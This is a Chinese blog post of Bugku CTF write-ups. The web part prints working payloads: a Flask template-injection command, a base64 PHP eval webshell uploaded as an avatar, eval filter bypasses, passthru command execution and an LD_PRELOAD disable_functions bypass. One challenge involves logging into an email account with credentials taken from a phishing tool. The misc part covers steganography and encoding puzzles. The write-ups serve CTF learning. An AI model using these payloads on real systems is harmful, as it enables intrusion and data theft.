5月6日更新了FileStoragedat
5月2日更新了一道web
4月27日更新了两道misc
4月25日更新了一道misc
bugku换新平台了,旧平台的web和misc大部分都刷完了,现在也是出了很多新题目,这里记录一下,web题可能做的少一点,因为确实是太费金币了。。。。
审源码注意到
故意玩输,在提示失败的时候注意下network
根据刚才的源码,可以知道sign
的值是zM+base64(score)+==
5分的一个题目,而且奖励的金币正好等于开容器的金币,很友好
页面提示传入参数flag
You need pass in a parameter named flag。
F12查看源码得到第二个提示
SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag
也可以构造?flag={ {config.items()}}
,导出所有config变量,其中就包括SECRET_KEY
payload:?flag={ { config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
进入页面,提示我们传入参数
pass a parameter and maybe the flag file’s filename is random :>
于是传入一个1试试,得到源码
然后传值,试试{}
标记变量边界来解析,达到代码执行的目的,发现成功解析
php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。
这里禁了system
和exec()
,也就是说只能使用passthru()
查看根目录发现这个_15849
很奇怪,查看后拿到flag
这个题印象比较深,是内测的时候出的一个题,我当时试了半小时就放弃了,然后我同学坚持不懈最终拿了一血
首先账号123456、密码123456登录进去(当时是爆破出来的,弱口令yyds),发现可以上传头像
先上传一个正经图片,抓包分析发现图片是转为base64形式后上传的
写个一句话,转为base64
PD9waHAgZXZhbCgkX1BPU1RbJzEyMyddKTs/Pg==
,再把文件格式改成php,记住文件路径
查看小美的空间,得到关键信息,只有她男朋友要才给flag
同时也给出她男朋友的qq号,盗号显然不是这题的解法,题目名是伪造,于是把小号的头像和网名换成她男朋友的同款,然后重新登录聊天室
我换头像之后,在火狐浏览器重新登陆,显示的还是之前的头像,换成谷歌浏览器之后就好了。
f12查看源码,看到假的flag和提示tig
不太理解这个提示是什么意思,查看robots.txt
也没有内容,用御剑扫一下,然后确定是git源码泄露,使用Git_Extract
┌──(volcano㉿kali)-[~/桌面/Git_Extract]
└─$ python git_extract.py http://114.67.246.176:11496/.git/
这题挺杂的,涉及web+re+misc
打开网页→下载辅助,打开软件发现是个钓鱼软件,满满的回忆感,六年级的时候和同学一起用易语言写过一个类似的
根据经验,这种软件会把受害者输入的qq及密码发送到指定邮箱里,用IDA分析能够得到想要的信息,因为我不会逆向,所以让朋友帮忙,最后得到三条有用信息
[email protected]
BIPHIVHSLESYPHMZ
smtp.163.com
前两条疑似账号密码,直接去163邮箱登录发现密码错误,后面百度了一下第三条信息,发现可能需要用邮箱客户端登录
我这里下载的是foxmail
,配置如下,成功登录进去
收信箱里没找到可用信息,后面问了一下师傅们,发现有解题线索的那篇邮件被人恶意删除了,那个线索也是简单的搜集可用信息,我也留下线索希望能帮到后面做题的师傅们
拿到这两个信息,一般可以用来当做账号密码登录,猜想刚才的网站有后台,尝试/admin
登陆后拿到flag
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
$key=$second;
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}else{
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third)){
$end=substr($third,5);
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
}
}
}
else{
highlight_file(__FILE__);
}
逐块分析
1、传入参数zero
与first
,将二者拼接后传值给$second
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
2、第一个正则匹配
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))
$second
中,即拼接后的结果里要至少有上述内容中的一项
3、第二个正则匹配
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}
当$key
即($second)中有..
或flag
时被过滤
4、第三个正则匹配
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third)){
$end=substr($third,5);
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
}
这里比较有意思了,我开始以为这里是匹配的\
或.php
,测试后发现匹配的是|.php
,因为\\|
转义成\|
后,又转义了一次,最后变成|
,然后和后面的.php
拼接成|.php
所以$first
的值为|.php
易知$zero
的值为ZmxhZy5waHA
(flag.php经过一次base64编码)
回到第一个正则匹配,需要满足条件才能进入后面的匹配,这里比较有意思的是ZmxhZy5waHA
中恰好有一个a
所以最终payload:
?zero=ZmxhZy5waHA&first=|.php
或者
POST:zero=ZmxhZy5waHA&first=|.php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';'; #根据系统时间生成字符串
if (!isset($_GET['flag'])) {
#传入参数flag
echo '.$exam.'">Click here';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
#参数flag的长度要求等于49
echo '长度不允许';
} #下面过滤了一堆
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '
';
highlight_file(__FILE__);
这题比较难搞的一点是
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
这里的if条件是flag变量执行后,强等于它的sha1值,这个条件我感觉实现不了。。。
又仔细看了一下,发现可以从eval($_GET['flag']
入手,达到echo $flag
的目的。
因为前面把echo
过滤了,这里使用短标签绕过
这题想要执行 echo $flag;?>
使用短标签=$flag;?>
因为flag
也被过滤了,所以还要进一步修改,这里还利用了双$$变量覆盖
先传入?flag=$a=flad #flag中任意一个字母改掉,保证不被过滤
然后传一个$a{
3}=g #再把错误的字母替换回正确的字母
这个时候$a=flag $$a=$flag
然后执行=$$a;?> 即可
然后就开始构造payload
首先是?flag=$a=flad;$a{
3}=g;?>
这样写和eval函数解析方式有关系
然后再接上=$$a;?>
此时?flag=$a=flad;$a{
3}=g;?>=$$a;?>
总长度为27,还需要填充49-27=22个字符,填充的位置有好几种:
?flag=$a=flad;$a{
3}=g;?>1111111111111111111111=$$a;?>
?flag=$a=flad;$a{
3}=g;?>=$$a;?>1111111111111111111111
?flag=$a=flad;$a{
3}=g;?>=$$a;111111111111111111111;?>
?flag=$a=flad;111111111111111111111;$a{
3}=g;?>=$$a;?>
然后就得到flag了
打开环境,看到被混淆后的PHP代码
参考大佬的博客解混淆得到
highlight_file(__FILE__);
@eval($_POST[ymlisisisiook]);
?>
蚁剑连接后,发现只能访问html目录下的文件
查看phpinfo,发现禁了大批函数,包括常用的system
、exec
等
不过没有禁putenv
,参考蚁剑插件之绕disable_functions
选择LD_PRELOAD方法→开始
然后连接新上传的这个.antproxy.php
此时就可以访问根目录拿flag了
下载了一个dat文件,微信PC版存储的本地文件格式为DAT格式,在网上找工具解密即可
分析一个我找到的:https://lindi.cc/archives/301
把这个dat文件放在文件夹111中,然后用工具解密
拿到flag
开始没做出来是因为不认识图片里是什么字符,现在评论区提示的很明显了,是原神里的提瓦特文
,对照表如下
hint.txt中有一个很重要的提示:flag为大兔子说的一句带bugku的话
翻找一下,flag在这个位置,flag:bugku{iamlearningteyvatinbugku}
结合这两处提示,基本可以确定压缩包密码是九个字的电影名
百度了一波,秒出,第一个压缩包的密码是比悲伤更悲伤的故事
解压得到另一个加密的压缩包,还给了密码的格式:XXyueXXri
,应该是一个日期,不过不知道在哪里找
注意到这一串数字比较奇怪,搜索了一下没有结果,这个正好是十位数字,有没有可能是qq号?
思路是对的,进空间看一下,发现一共13条说说,内容的格式基本都差不多,而且日期都是7月21日
试了几下得到第二个压缩包密码:7yue21ri
,其实这里也可以直接掩码爆破
拿到密码
把得到的exe文件扔进winhex里看一下,发现
因为这里是exe文件,所以用pyinstxtractor
去反编译(https://github.com/extremecoders-re/pyinstxtractor)
命令:
python3 pyinstxtractor.py 有一种悲伤…….exe
运行后在项目所在文件夹下找到反编译后得到的结果,在pyc文件中看到flag
不得不说,出题人有故事
下载得到一个打不开的file.png,扔进010editor中,发现文件头怪怪的,前面是png的文件头,后面有半截gif的文件头
把前面png文件头删去,补全gif文件头,另存为一个新图片
得到一个1*432的图片,扔进Stegsolve
里发现有770张图,因为宽度太细了,所以看不出来
结合题目名,应该是要把所有图片都拼起来,直接跑脚本
为了防止有萌新看不懂,还是解释一下,1.gif
和这个脚本
还有文件夹123
放在同一级目录下
from PIL import Image
def saveall(): #把每一帧都保存下来
im = Image.open('1.gif')
for i in range(770):
im.seek(i)
im.save('123/' + str(i) +'.png') #保存到同级文件夹123 中
ping()
def ping(): #把每一帧拼接起来
new_one = Image.new('RGB',(770,432))
for j in range(770):
ima = Image.open('123/' + str(j) +'.png')
new_one.paste(ima,(j,0,j+1,432))
new_one.save("flag.png")
if __name__ == "__main__":
saveall()
1、图中有一座金碧辉煌的塔,经过查找发现是西安市的大雁塔
2、小红是从始发站上的地铁,一共坐了七站,并且中间转了一站,对照下图
可以发现二号线和三号线都正好是七站到达大雁塔,但是三号线不需要转站,说明小红是从韦曲南出发的
3、始发站(韦曲南)离她家800多米,下一站(航天城)离她家1千多米
可以在地图上画两个圆,缩小范围,最后发现小红所在小区是兰乔国际城
所以flag{lanqiaoguojicheng}
又是一个社工题,到妹妹的空间找线索
我是按时间顺序做的,最早的一个说说下面有个评论,进去后发现有提示
相册more hint的密码是happy
,由密文经过base91->base58->base64得到
妹妹的第二个说说暴露了她的出生日期2000 12 26
根据她说说的定位可知,学校在四川绵阳
,家在四川乐山
。
她的名字是刘佳佳
,2月1日的说说里有一串盲文,解密得到hint:密码=时地人
下一步就是破解相册密码了
首先是名为一张二维码
的相册,hint是2+3+8num=
开始没看懂,后面才意识到是密码的形式
对应的是2个字母+3个字母+8个数字,测试后发现是地点+姓名+生日,即lsljj20001226
扫码得到My MicroBlog name:啊这ovo001
,转战微博
搜索2598888 乐山
得到哥哥工作的公司尚纬股份
回头去破解第一个相册
得到邮箱[email protected]
因为是棋圣师傅的题,难免会有一系列套娃,所以就简单叙述解题步骤了
点击查看原图,然后下载第一张图,foremost分离出一个压缩包
题目描述.txt:
以下是题目描述:
噢,我的老兄,很抱歉看了你的照片,这感觉真是太糟了。我是说,虽然隔了这么久,我还是忍不住想用沉默之眼来寻查这之中的秘密。我想你可能对我们的靴子朋友或者屁股老弟有什么偏见,就像我们都以为约翰尼先生总打他的狗,但是事实不是那样的,他们就像兄弟一样,我亲眼所见,我发誓。
题目1:(题目1和题目2都可以得到flag相册密码,自由抉择选择哪条)
找到密码,将密码发送给指定的邮箱,即可获得flag,快来挑战吧!
(密码必须写在主题上而不是内容上)
根据提示沉默之眼
,使用 SilentEye
打开星星的夜.png,得到密码
从这个图片中foremost分离出压缩包,使用密码解压得到第一个password.txt
这一串密文需要经过多次base64解密,使用脚本
用winhex打开password.txt,发现大量零宽度字符
,解密
base64解密得到密文后两位是OK
,然后去发邮件
不愧是套娃师傅
base58->hex->base32->base64
,最后得到相册密码youfindme!
在做题的过程中偶然发现这是newsctf的新生赛,有一篇wp就是用第二种途径做的
这里直接挂链接,我真的不想再被套娃折磨一次了…
下载的压缩包中给了一串base64密文
RnJlZV9GaWxlX0NhbW91ZmxhZ2UsIOmimOebruWlveWDj+aYr+aMuumHjeimgeeahOagt+WtkC4u
解密得到
Free_File_Camouflage, 题目好像是挺重要的样子…
经过binwalk、Stegsolve分析无果后,考虑题目给的提示Free_File_Camouflage
,这是一个文件伪装图片工具,下载地址
得到一个pl.txt
length q caller lc and print chr ord uc q ge log and print chr ord q eval ge and print chr ord q ge log and print chr ord q qr eq and print chr ord q my alarm and print chr ord qq q q and print chr ord q msgctl m and print chr ord q sin s and print chr ord qw q ne q and print chr ord qw q gt q and print chr ord q else and print chr ord q ge log and print chr ord q q q and print chr ord q lt eval and print chr ord q tie lt and print chr ord qw q m q and print chr ord q ge log and print chr ord qq q q and print chr ord q my m and print chr ord q xor x and print chr ord qw q use q and print chr ord qq q q and print chr ord q map m and print chr ord q oct do and print chr ord q oct no and print chr ord q ref or and print chr ord qw q sin q and print chr ord qw q sin q and print chr ord q q q and print chr ord q each le and print chr ord qq q q and print chr ord q qw q and print chr ord q ref or and print chr ord qw q bless q and print chr ord q msgctl m and print chr ord q tie gt and print chr ord q lt eval and print chr ord q ge log and print chr oct oct ord uc qw q bind q and print chr ord q q q and print chr ord q my m and print chr ord q local and print chr ord qw q use q and print chr ord q q q and print chr ord q else and print chr ord q ref or and print chr ord q map m and print chr ord q eval ge and print chr ord q ge log and print chr ord q q q and print chr ord q lt eval and print chr ord q qr q and print chr ord q each ne and print chr ord q oct no and print chr ord qw q keys q and print chr ord qw q sin q and print chr oct oct ord uc qw q fcntl q and print chr ord q q eq and print chr ord uc q lt eval and print chr ord q qr q and print chr ord q each le and print chr ord q lc eval and print chr ord qw q keys q and print chr ord qw q s q and print chr ord q q q and print chr ord q stat s and print chr ord q chr uc and print chr ord q each ne and print chr ord q lt eval and print chr ord qq q q and print chr ord q local and print chr ord q gt log and print chr ord q chop uc and print chr ord q ge log and print chr ord q qr eq and print chr ord qw q s q and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q ne q and print chr ord qq q q and print chr ord q map m and print chr ord q lc eval and print chr ord q oct no and print chr ord q ref or and print chr ord qw q s q and print chr ord q msgctl m and print chr oct oct ord uc qw q for q and print chr ord q q q and print chr ord uc q sin s and print chr ord qw q fcntl q and print chr ord q q q and print chr ord q my alarm and print chr ord q local and print chr ord q dump and and print chr ord q q eq and print chr ord qw q do q and print chr ord q pop and print chr ord qw q ne q and print chr oct oct oct ord uc qw q gt q and print chr ord q lt eval and print chr ord q q eq and print chr ord q else and print chr ord q tie lt and print chr ord qw or and print chr ord q map m and print chr oct oct ord uc qw q bless q and print chr ord q q eq and print chr ord qw q fcntl q and print chr ord q sin s and print chr ord qw q no q and print chr ord qw q die q and print chr ord q q eq and print chr ord q local and print chr ord qw q uc q and print chr ord q gt log and print chr ord q q q and print chr ord q qw q and print chr ord q chr uc and print chr ord q map m and print chr ord q lt eval and print chr ord qq q q and print chr ord qw q s q and print chr ord q pop and print chr ord qw q fork q and print chr ord q stat s and print chr ord q qw q and print chr ord q map m and print chr ord q qr q and print chr ord q ge log and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q not q and print chr ord q q eq and print chr ord q chr lc and print chr ord q ref or and print chr ord qw q le q and print chr ord q open no and print chr ord q q q and print chr ord q my m and print chr ord q pop and print chr ord q dump and and print chr ord qq q q and print chr ord q oct no and print chr ord q xor x and print chr ord q eval ge and print chr ord q ge log and print chr ord q qr eq and print chr ord q q eq and print chr ord q stat s and print chr ord q chr lc and print chr ord q ne sin and print chr ord q rmdir and print chr oct oct ord uc qw q for qprint chr ord q lc eval and print chr ord qw q keys q and print chr ord qw q s q and print chr ord q q q and print chr ord q stat s and print chr ord q chr uc and print chr ord q each ne and print chr ord q lt eval and print chr ord qq q q and print chr ord q local and print chr ord q gt log and print chr ord q chop uc and print chr ord q ge log and print chr ord q qr eq and print chr ord qw q s q and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q ne q and print chr ord qq q q and print chr ord q map m and print chr ord q lc eval and print chr ord q oct no and print chr ord q ref or and print chr ord qw q s q and print chr ord q msgctl m and print chr oct oct ord uc qw q for q and print chr ord q q q and print chr ord uc q sin s and print chr ord qw q fcntl q and print chr ord q q q and print chr ord q my alarm and print chr ord q local and print chr ord q dump and and print chr ord q q eq and print chr ord qw q do q and print chr ord q pop and print chr ord qw q ne q and print chr oct oct oct ord uc qw q gt q and print chr ord q lt eval and print chr ord q q eq and print chr ord q else and print chr ord q tie lt and print chr ord qw q kill q and print chr ord q ref or and print chr ord q q eq and print chr ord q lt eval and print chr ord q chr lc and print chr ord q ref or and print chr ord q q q and print chr ord q tie gt and print chr ord qw q die q and print chr ord q ref or and print chr ord q map m and print chr oct oct ord uc qw q bless q and print chr ord q q eq and print chr ord qw q fcntl q and print chr ord q sin s and print chr ord qw q no q and print chr ord qw q die q and print chr ord q q eq and print chr ord q local and print chr ord qw q uc q and print chr ord q gt log and print chr ord q q q and print chr ord q qw q and print chr ord q chr uc and print chr ord q map m and print chr ord q lt eval and print chr ord qq q q and print chr ord qw q s q and print chr ord q pop and print chr ord qw q fork q and print chr ord q stat s and print chr ord q qw q and print chr ord q map m and print chr ord q qr q and print chr ord q ge log and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q not q and print chr ord q q eq and print chr ord q chr lc and print chr ord q ref or and print chr ord qw q le q and print chr ord q open no and print chr ord q q q and print chr ord q my m and print chr ord q pop and print chr ord q dump and and print chr ord qq q q and print chr ord q oct no and print chr ord q xor x and print chr ord q eval ge and print chr ord q ge log and print chr ord q qr eq and print chr ord q q eq and print chr ord q stat s and print chr ord q chr lc and print chr ord q ne sin and print chr ord q rmdir and print chr oct oct ord uc qw q for q
#!/usr/bin/perl -w
length q rmdir and print chr oct hex ord uc q stat s and print chr ord qw q m q and print chr ord qw q x q and print chr ord q chr uc and print chr oct hex ord uc q lt eval and print chr oct oct ord uc qw q m q and print chr ord q stat s and print chr oct oct ord uc qw q m q and print chr ord q map m and print chr oct ord q mkdir m and print chr ord uc qw q flock q and print chr oct oct oct ord q open do and print chr ord uc q qx q and print chr length q x rename sethostent srand pack pipe setpwent syscall else eq split sleep endservent qw require symlink ne keys ord require x and print chr ord uc qw q for q and print chr length q q splice srand getservbyname setnetent ne reset endprotoent foreach scalar rewinddir cos setnetent not else getprotobyname q and print chr ord uc q exp le and print chr hex ord q m alarm and print chr ord uc qw q y q and print chr ord qw q x q and print chr ord uc q my m and print chr ord uc q qw eq and print chr ord q oct do and print chr oct oct oct ord q mkdir m and print chr ord qw q fork q and print chr ord uc q eq ne and print chr oct oct ord q eq le and print chr oct oct ord q eq le
length q caller lc and print chr ord uc q ge log and print chr ord q eval ge and print chr ord q ge log and print chr ord q qr eq and print chr ord q my alarm and print chr ord qq q q and print chr ord q msgctl m and print chr ord q sin s and print chr ord qw q ne q and print chr ord qw q gt q and print chr ord q else and print chr ord q ge log and print chr ord q q q and print chr ord q lt eval and print chr ord q tie lt and print chr ord qw q m q and print chr ord q ge log and print chr ord qq q q and print chr ord q my m and print chr ord q xor x and print chr ord qw q use q and print chr ord qq q q and print chr ord q map m and print chr ord q oct do and print chr ord q oct no and print chr ord q ref or and print chr ord qw q sin q and print chr ord qw q sin q and print chr ord q q q and print chr ord q each le and print chr ord qq q q and print chr ord q qw q and print chr ord q ref or and print chr ord qw q bless q and print chr ord q msgctl m and print chr ord q tie gt and print chr ord q lt eval and print chr ord q ge log and print chr oct oct ord uc qw q bind q and print chr ord q q q and print chr ord q my m and print chr ord q local and print chr ord qw q use q and print chr ord q q q and print chr ord q else and print chr ord q ref or and print chr ord q map m and print chr ord q eval ge and print chr ord q ge log and print chr ord q q q and print chr ord q lt eval and print chr ord q qr q and print chr ord q each ne and print chr ord q oct no and print chr ord qw q keys q and print chr ord qw q sin q and print chr oct oct ord uc qw q fcntl q and print chr ord q q eq and print chr ord uc q lt eval and print chr ord q qr q and print chr ord q each le and print chr ord q lc eval and print chr ord qw q keys q and print chr ord qw q s q and print chr ord q q q and print chr ord q stat s and print chr ord q chr uc and print chr ord q each ne and print chr ord q lt eval and print chr ord qq q q and print chr ord q local and print chr ord q gt log and print chr ord q chop uc and print chr ord q ge log and print chr ord q qr eq and print chr ord qw q s q and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q ne q and print chr ord qq q q and print chr ord q map m and print chr ord q lc eval and print chr ord q oct no and print chr ord q ref or and print chr ord qw q s q and print chr ord q msgctl m and print chr oct oct ord uc qw q for q and print chr ord q q q and print chr ord uc q sin s and print chr ord qw q fcntl q and print chr ord q q q and print chr ord q my alarm and print chr ord q local and print chr ord q dump and and print chr ord q q eq and print chr ord qw q do q and print chr ord q pop and print chr ord qw q ne q and print chr oct oct oct ord uc qw q gt q and print chr ord q lt eval and print chr ord q q eq and print chr ord q else and print chr ord q tie lt and print chr ord qw q kill q and print chr ord q ref or and print chr ord q q eq and print chr ord q lt eval and print chr ord q chr lc and print chr ord q ref or and print chr ord q q q and print chr ord q tie gt and print chr ord qw q die q and print chr ord q ref or and print chr ord q map m and print chr oct oct ord uc qw q bless q and print chr ord q q eq and print chr ord qw q fcntl q and print chr ord q sin s and print chr ord qw q no q and print chr ord qw q die q and print chr ord q q eq and print chr ord q local and print chr ord qw q uc
只剩最后一步了,本来卡在这里了,直接用这个文本执行命令: cat pl.txt | perl
把其他的字符串删除,只留选中的这一串,再次执行命令,得到结果
得到一串base64,拿去解密就得到flag (这里还是希望大家自己动手去试试)
下载得到的图片四角各有十六个特殊的像素点
借助python的pillow库中的getpixel
函数,获取这些像素的RGB值
结果如下:
(0, 84, 227)(1, 86, 99)(2, 112, 38)(3, 88, 85)(4, 82, 209)(5, 48, 34)(6, 78, 161)(7, 97, 239)(8, 77, 87)(9, 122, 130)(10, 78, 233)(11, 76, 28)(12, 85, 189)(13, 108, 98)(14, 86, 169)(15, 72, 227)
(31, 51, 248)(30, 115, 84)(29, 85, 63)(28, 87, 191)(27, 50, 131)(26, 89, 226)(25, 108, 41)(24, 87, 191)(23, 71, 192)(22, 53, 194)(21, 48, 183)(20, 78, 7)(19, 121, 211)(18, 81, 111)(17, 122, 102)(16, 85, 34)
(32, 84, 116)(33, 122, 129)(34, 86, 226)(35, 89, 36)(36, 86, 137)(37, 122, 202)(38, 82, 206)(39, 97, 137)(40, 82, 51)(41, 69, 220)(42, 90, 185)(43, 80, 247)(44, 83, 233)(45, 108, 168)(46, 82, 203)(47, 73, 116)
(63, 57, 62)(62, 107, 22)(61, 48, 61)(60, 78, 19)(59, 80, 8)(58, 100, 53)(57, 69, 95)(56, 87, 133)(55, 67, 107)(54, 57, 236)(53, 48, 212)(52, 78, 47)(51, 68, 151)(50, 78, 80)(49, 122, 155)(48, 83, 112)
发现R通道的数值是从0-63的有规律的数字,G通道的数值均在0-127
范围内,B通道没有发现规律
那么按照R通道数字增加的规律,将对应G通道的ascii码转字符,拼接得到
TVpXR0NaMzNLUlVHUzQyN05GWlY2WUs3TzVYVzRaREZPSlRISzNDN09CWEdPN0k9
对应脚本如下:
from PIL import Image
im = Image.open('file.png')
x=y=""
for i in range(16):
print(chr(im.getpixel((i, 0))[1]),end="")
for i in range(16):
a = im.getpixel((im.size[0]-1-i,0))
x += chr(a[1])
print(x[::-1],end="")
for i in range(16):
print(chr(im.getpixel((i,im.size[1]-1))[1]),end="")
for i in range(16):
b = im.getpixel((im.size[0]-1-i,im.size[1]-1))
y += chr(b[1])
print(y[::-1])
下载了一个加密的zip文件,凭感觉很容易发现是伪加密,用ZipCenOp破解后得到一个cyberpunk.txt,改后缀为png
因为这是一个png文件,可以先用zsteg
(限制png和bmp)分析一波,结果直接得到flag
根据描述可知这是lsb隐写,也可以用Stegsolve手动做出来
下载得到一个ping.pcap,用wireshark打开,得到38个ICMP协议的数据包,注意这个位置
可以手动把每个数据包对应位置的字符串拼接起来,得到flag
使用tshark命令更方便,跟八神学的(tql)
volcano@kali:~/桌面$ tshark -r ping.pcap -Y "icmp" -T fields -e data | cut -c1-2 | xargs
66 6c 61 67 7b 64 63 37 36 61 31 65 65 65 36 65 33 38 32 32 38 37 37 65 64 36 32 37 65 30 61 30 34 61 62 34 61 7d
把十六进制转为字符串即是flag
给了丁建国的图片,加密flag.zip,和介绍.txt,txt文件中给出了flag.zip密码的线索,四位数的出生年份
直接选择Ziperello暴力破解,密码是1992,flag.txt中的内容:
5+58==327a6c4304ad5938eaf0efb6cc3e53dcCFmZknmK3SDEcMEue1wrsJdqqkt7dXLuS
5+58的意思是md5+base58
前半部分327a6c4304ad5938eaf0efb6cc3e53dc
md5解密后flag
后半部分CFmZknmK3SDEcMEue1wrsJdqqkt7dXLuS
base58解密后{this_is_md5_and_base58}
下载得到一个jpg文件,在详细信息中有提示steghide
隐写
这里密码为空,直接回车即可
# steghide extract -sf torrent.jpg
Enter passphrase:
wrote extracted data to "123.txt".
得到的123.txt中是一个网盘链接
https://pan.baidu.com/s/1oXOf-mKm5TOrbNWg0suWfg m6qn
下载得到
hint.txt中的内容是six six six
,密码是666666
(直接爆破也可得到),拿到第二个图片
用010editor打开,发现尾部有额外数据,binwalk分离出flag.png
用010editor打开,发现crc32校验码出错,说明宽高需要修改,同时在尾部发现维吉尼亚密码的在线解密网站
把图片高度改高(png图片很好改)
拿到刚才的网站解密
没给种子,差评
这题获取压缩包密码的途径就是那个iwanna小游戏…
我之前做过一个很类似的题目,不记得在哪里做的了(好像是旧版bugku),那个题的思路是先通过一关
,然后修改存档的那个文件。比如我本来处于第二关,把2改成5就到最后一关获得flag,但是…这个图我一关都过不去(手残)
游戏这里的思路也是看八神(tql)的,先是确定Game Maker版本为GM8
然后用GM8Decompiler反编译,得到gmk文件,然后在room3找到密码happy_i_wanna
这里的压缩包名、图片名都是提示,即使用F5-steganography
隐写工具解密图片
passwd.txt的内容
password:
贝斯的老大也可以解这个问题
贝斯的老大指的是base100
,使用在线工具解密得到密码66666666
在F5-steganography-master目录下打开终端,执行
java Extract 绝对路径.jpg -p 66666666
,在同目录下会得到一个output.txt,打开得到flag
题目描述:密码是flag
这个题需要下载特定软件,我是之前做的,软件已经删了不想再下了,就只简述一下解题过程。
下载得到1.txt和2.txt,后者的内容U2FsdGVkX19T7VS86emCFReuh2Tjc3ZtbB5HMHebPd8=
,直接base64解码得到一堆乱码,几经尝试发现是AES
的base64形式密文
,这里使用的工具是CaptfEncoder
结合这个提示和题目名可知要把1.txt的后缀改为pka
,然后用Cisco Packet Tracer(思科)
打开,旧版本可能打不开,所以推荐使用最新版7.3.1
然后点击画面中的交换机,按回车键进入命令输入模式,输入特权模式命令en或enable。提示输入密码,输入flag
后回车,然后show run找到flag
使用win7虚拟机,根据提示
火绒病毒库隔离区等数据目录:C:\ProgramData\Huorong
发现我的c盘中"没有"ProgramData
这个目录,发现是被隐藏了,先把隐藏给取消,步骤如下
根据题目描述可知,这题需要用到火绒,先下载,发现C:\ProgramData\Huorong
中有一个Sysdiag
文件夹,题目也给了一个内容相似的同名文件夹,猜想需要进行替换。
替换的过程总是涉及权限问题,因为很久没用win7系统了,最后在网上找到了解决方法,用超级管理员身份登陆后,最先把火绒卸载,然后在C:\ProgramData
新建一个huorong
文件夹,把题目给的Sysdiag
文件夹放到里面,权限改为只读
然后再重新安装火绒,这样显示说明对了
根据另一个提示,先把只读取消,然后打开火绒的隔离区
恢复这个文件得到flag
下载得到三色绘恋.jpg,binwalk分离出一个加密的zip文件,经测试发现不是伪加密
经过测试发现需要修改图片的高度,因为是jpg文件,修改宽高比png文件更复杂,但是使用010editor
的jpg.bt模板
就很方便了
修改后得到密码a56v1sa6fc
,解密得到flag
用winhex打开图片,发现尾部有额外数据,但是这里的文件头被篡改过,不能直接foremost出来,手动把0506改成0304再提取
得到passwd.txt
…
…
CDEFGHIJKLMNOPQRSTU
BCDEFGHIJKLMNOPQRST
ABCDEFGHIJKLMNOPQRS
根据规律补全(对应棋盘图片)
JKLMNOPQRSTUVWXYZAB
IJKLMNOPQRSTUVWXYZA
HIJKLMNOPQRSTUVWXYZ
GHIJKLMNOPQRSTUVWXY
FGHIJKLMNOPQRSTUVWX
EFGHIJKLMNOPQRSTUVW
DEFGHIJKLMNOPQRSTUV
CDEFGHIJKLMNOPQRSTU
BCDEFGHIJKLMNOPQRST
ABCDEFGHIJKLMNOPQRS
从下往上即为密码GOODGOPLAY
,解密压缩包得到flag.png,修改高度得到flag
四个加密文件,注释部分给出密码的提示
这个是苏州码子,〡 〢 〣 〤 〥 〦 〧 〨 〩 十分别对应1-10
压缩包密码是肆肆壹拾陆玖玖捌拾壹
,根据hint.txt得知需要根据加密脚本,写出解密脚本得到file.jpg
key.jpg数据被py加密啦!!!
解密还原成file.jpg吧
把给的脚本稍作修改,运行跑出file.jpg
用010editor打开file.jpg,在尾部发现一串代码IQ2?kEcY/KK#ojDrHoR'seB
base92解码得到:password:SilentEye
,使用SilentEye解密flag.jpg即可
下载得到baby_flag.txt
,文件尾部有一串十六进制
3561573935594f50364a6550354c7147354c6941354c69713559364c35377970355979463737794d354c32473570697635706148354c7532356153303561573935594f503570794a35344b35365a657536614b59
先转ascii,再base64解密得到好像藏了一个压缩包,但是文件头好像有点问题
用010editor打开,借助模板可知这是一个jpg文件,并且后面有一个疑似RAR文件头的东西(其实可以不用上面的提示)
把文件后缀改为jpg,修复RAR文件头并提取出来,发现压缩包是加密状态,猜想密码应该在图片里
图片是463*344的,先把高度改成500,没发现东西,但是题目的提示是
hint:还能再高亿点点
索性直接改成900,得到密码0q1W2e3R4t
打开压缩包得到real flag haha.txt
真是一种丑陋的语言呢
oh!!!ugly programming language!!!D’
r#?oJ[;|9Wx0/et?rqM(-9JI6(hEgeBc.x,<;)yrZvo5mrkji/Plkjib(fedFE[!Y^]\[Tx;QuU7SRKo2NGLEDh+AFEDC<;_?>~}5Y987w5.R21qp('K+$j"'~}${"y?
_{tyrwp6tmUqj0nmleMib(fe^c"_^@VUTxXWV8NSRKJn10LKJIHAe?'=<;:9]76Z:981w543,P*)M-,%k)"F&}${zy?>_{zyr8YXtmlk1onmlNMib(I_d]\"
BA]\Uy<;QPUTMLpJ2NMLKDhHA)E>b%$@?8}5Y981w543,P0/o-&Jk)"!~D1
结合第二个hintEsoteric programming language
,开始使用搜索引擎…,一通操作后发现和Malbolge
很像,这个语言被称为最难的5种编程语言之一…,然后又花了一些功夫找到一个在线网站来解代码,这个网站访问可能有点慢(也许是我没有科学上学的原因?)
搜索引擎最好用google或者wiki,百度八太行
下载了三个加密的zip压缩文件,其中一个名为4easynum.zip
,很明显提示密码是四位数,爆破得到7760
,打开得到一个图片和文本:
图片解出来是棋盘的压缩包密码
